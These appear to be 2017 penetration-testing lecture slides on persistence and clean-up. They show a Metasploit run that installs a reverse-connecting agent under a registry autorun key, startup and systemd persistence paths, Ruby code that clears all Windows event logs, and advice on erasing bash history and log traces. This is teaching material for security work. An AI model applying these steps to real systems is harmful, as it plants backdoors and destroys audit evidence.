Penetration Testing: Persistence and Clean up

November 1st 2017
What is Persistence

1. Getting back into the system without going through the entire process again
2. Leaving a way to get back in even if the system is patched
3. Getting back in after the system reboots
4. Not being seen on the box
Good ways to leave persistence

1. Leaving an executable that will...
   a. Run when the system starts
   b. Execute in intervals calling back to handler
   c. Run when a certain task is done
   d. Set a timer to run only after x minutes of system boot
Bad ways to leave persistence

1. Backdoors
2. Leaving connections open when not in use
3. Sending a lot of data back to your handler
Ugly but effective ways of leaving persistence

1. Adding users

2. Injecting into processes for long periods of time
Metasploit Persistence

```
meterpreter > run persistence -h
```

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...] Meterpreter Script for creating a persistent backdoor on a target host.

**OPTIONS:**

- `-A` Automatically start a matching exploit/multi/handler to connect to the agent
- `-L` Location in target host to write payload to, if none %TEMP% will be used.
- `-P` Payload to use, default is windows/meterpreter/reverse_tcp.
- `-S` Automatically start the agent on boot as a service (with SYSTEM privileges)
- `-T` Alternate executable template to use
- `-U` Automatically start the agent when the User logs on
- `-X` Automatically start the agent when the system boots
- `-h` This help menu
- `-i` The interval in seconds between each connection attempt
- `-p` The port on which the system running Metasploit is listening
- `-r` The IP of the system running Metasploit listening for the connect back
Metasploit Persistence

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYdleEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYdleEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-B
meterpreter >
Startup Executable

Adding executable to Windows startup:
C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Adding services in linux:
../init.d/malicious.service - systemctl enable malicious.service
What is Clean up

1. Removing any trace you were there
2. Modifying not deleting log files
3. Removing scripts that you left laying around
4. Removing persistence
def clrevtlgs()
    evtlogs = ['security', 'system', 'application', 'directory service', 'dns server', 'file replication service']
    print_status("Clearing Event Logs, this will leave and event 517")
    begin
        evtlogs.each do |evl|
            print_status("Clearing the #{evl} Event Log")
            log = @client.sys.eventlog.open(evl)
            log.clear
            file_local_write(@dest," Cleared the #{evl} Event Log")
        end
        print_status("All Event Logs have been cleared")
    rescue ::Exception => e
        print_status("Error clearing Event Log: #{e.class} #{e}")
    end
end
Linux Clean up

/var/log/messages

Remove bash history

~./bash_history

Any trace you were there in /var/log/